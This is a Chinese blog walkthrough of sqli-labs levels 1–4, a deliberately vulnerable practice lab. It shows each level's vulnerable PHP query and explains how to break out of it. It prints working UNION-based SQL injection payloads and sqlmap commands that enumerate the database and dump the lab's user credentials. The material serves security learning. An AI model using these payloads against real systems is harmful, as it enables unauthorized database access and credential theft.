sqli-labs基础(二)

2020-01-13 本文已影响0人 pigdaqiang

基础注入

less-1

源码分析：

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }
    else 
    {
    echo '<font color= "#FFFF00">';
    print_r(mysql_error());
    echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}

?>

mysql_query(query, connnection) # 对select show explain descdirbe 返回一个资源标识符，如果执行不正确返回false，对于其他执行成功返回true,否则返回false。执行sql查询语句,执行sql语句(该函数自动记录进行读取和缓存，如果运行非缓存查询，mysql_unbuffered_query())

mysql_fetch_array(data, array_type) # 函数从结果集中取得一行作为关联数组，data 可选项规定使用的数据指针，指针为mysql_query()函数产生的结果。type可选默认：mysql_both 同时产生关联和数字数组，mysql_assoc 关联数组， mysql_num数字数组。相比[^mysql_fetch_row()]除了数据以数字索引方式存储在数组中，还将数据作为关联索引存储，用字段作为键名。。

注入点

插入 ' or 1=1 -- +

由查询语句得知填入1' or 1=1 -- +得到重新闭合后的语句为：

select xxx from where id='1' or 1=1 -- + LIMIT 0,1 --> select xxx from where id='1' or 1=1 通过这个直接操纵了sql语句的执行or 1=1 恒为真

对比正常的语句：$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";

因为没有对输入做出任何的过滤导致可以直接插入符号控制sql语句的执行
判断列

插入' order by 4 -- +

select xx from where id='1' order by 4 -- +

返回正常则存在列数，返回错误则不存在(二分法判断列数)

union 语句的使用

插入 -1' union select 1,2,database() -- +

id=-1 两个sql语句联合操作时，当前一个语句选择内容为空，这里就将后面的语句内容显示出来

判断出列了，可以使用union语句来将sql语句进行联合

注意： union语句前后的选择列数要相同，union all 和union 的区别是增加了去重的功能

查表：

http://127.0.0.1/Less-1/index.php?id=1.1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema='security' -- +

结果：

Welcome    Dhakkan
Your Login name:emails,referers,uagents,users
Your Password:3

查字段：

-1' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name='users' -- +

结果：

Welcome    Dhakkan
Your Login name:id,username,password
Your Password:3

查数据:

-1' union select 1,username,password from users where id=2 -- +

结果：

Welcome    Dhakkan
Your Login name:Dummy
Your Password:p@ssword

slqmap:

python sqlmap.py -u url?id=1 # 查看是否有注入点
python sqlmap.py -u url?id=1 --dbs # 查看数据库
python sqlmap.py -u http://127.0.0.1/Less-1/index.php?id=1 -D security --tables # 查看数据表
python sqlmap.py -u http://127.0.0.1/Less-1/index.php?id=1 -D security -T users --columns # 查看数据库字段名
python sqlmap.py -u http://127.0.0.1/Less-1/index.php?id=1 -D security -T users -C username,password --dump # 查看指定字段的数据

Database: security
Table: users
[13 entries]
+----------+------------+
| username | password   |
+----------+------------+
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| admin4   | admin4     |
| secure   | crappy     |
| Dumb     | Dumb       |
| dhakkan  | dumbo      |
| superman | genious    |
| Angelina | I-kill-you |
| batman   | mob!le     |
| Dummy    | p@ssword   |
| stupid   | stupidity  |
+----------+------------+

Less-2

源码如下：

// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; // 直接带入查询不需要引号闭合
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

手工判断注入点

输入' 和''发现报错，报错信息如下

Welcome    Dhakkan
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

带入之后执行的语句如下：

select * from TABLE where id=1';

奇数个单引号带入查询，发现错误，得到结论直接是整数带入查询，没有特殊符号，不需要闭合。(直接使用查询语句就好)

select * from TABLE where id = (some integer value)

直接使用查询语句，注释掉后面的部分，查询语句如下：

http://127.0.0.1/Less-2/index.php?id=1.1 union select 1,database(),version() --+  //查数据库名和版本号
http://127.0.0.1/Less-2/index.php?id=1.1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+ // 查询所有数据库的名称
http://127.0.0.1/Less-2/index.php?id=1.1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- + // 查询指定数据库的表名
http://127.0.0.1/Less-2/index.php?id=1.1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- + //查询指定表的字段名
http://127.0.0.1/Less-2/index.php?id=1.1 union select 1,group_concat(id, username, password), 3 from users -- + // 查询字段数据　也可以加上where id=1　来查询指定的数据

结果：

Welcome    Dhakkan
Your Login name:security
Your Password:5.5.44-0ubuntu0.14.04.1

Welcome    Dhakkan
Your Login name:information_schema,challenges,mysql,performance_schema,security
Your Password:3

Welcome    Dhakkan
Your Login name:emails,referers,uagents,users
Your Password:3

Welcome    Dhakkan
Your Login name:id,username,password
Your Password:3

Welcome    Dhakkan
Your Login name:1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4
Your Password:3

Welcome    Dhakkan
Your Login name:4securecrappy
Your Password:3

sqlmap跑如下：

sqlmap -u http://127.0.0.1/Less-2/index.php?id=1
--dbs
-D security --tables
-D security -T users --columns # 如果已知数据表数据较少可以直接--dump
-D security -T users -C id,username,password --dump
或者-D security -T users --dump

Less-3

sql操作源码如下：

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; // 这里使用')来闭合
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

手工判断

输入')报错如下

Welcome Dhakkan You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1

注释闭合后正常执行

http://127.0.0.1/Less-2/index.php?id=1.1’）union select 1,database(),version() --+  //查数据库名和版本号
步骤如less-2
注意闭合部分为')

Welcome    Dhakkan
Your Login name:security
Your Password:5.5.44-0ubuntu0.14.04.1

sqlmap 操作如上一样

Less-4

sql操作语句如下：

$id = '"' . $id . '"'; //对$id前后加上了“”来修饰，所以闭合id 需要“
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";　// 对id加上了()来修饰，加上id自带的”“所以闭合符号为"),其他都是一样的。
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

其他查询语句和上面的都是一样的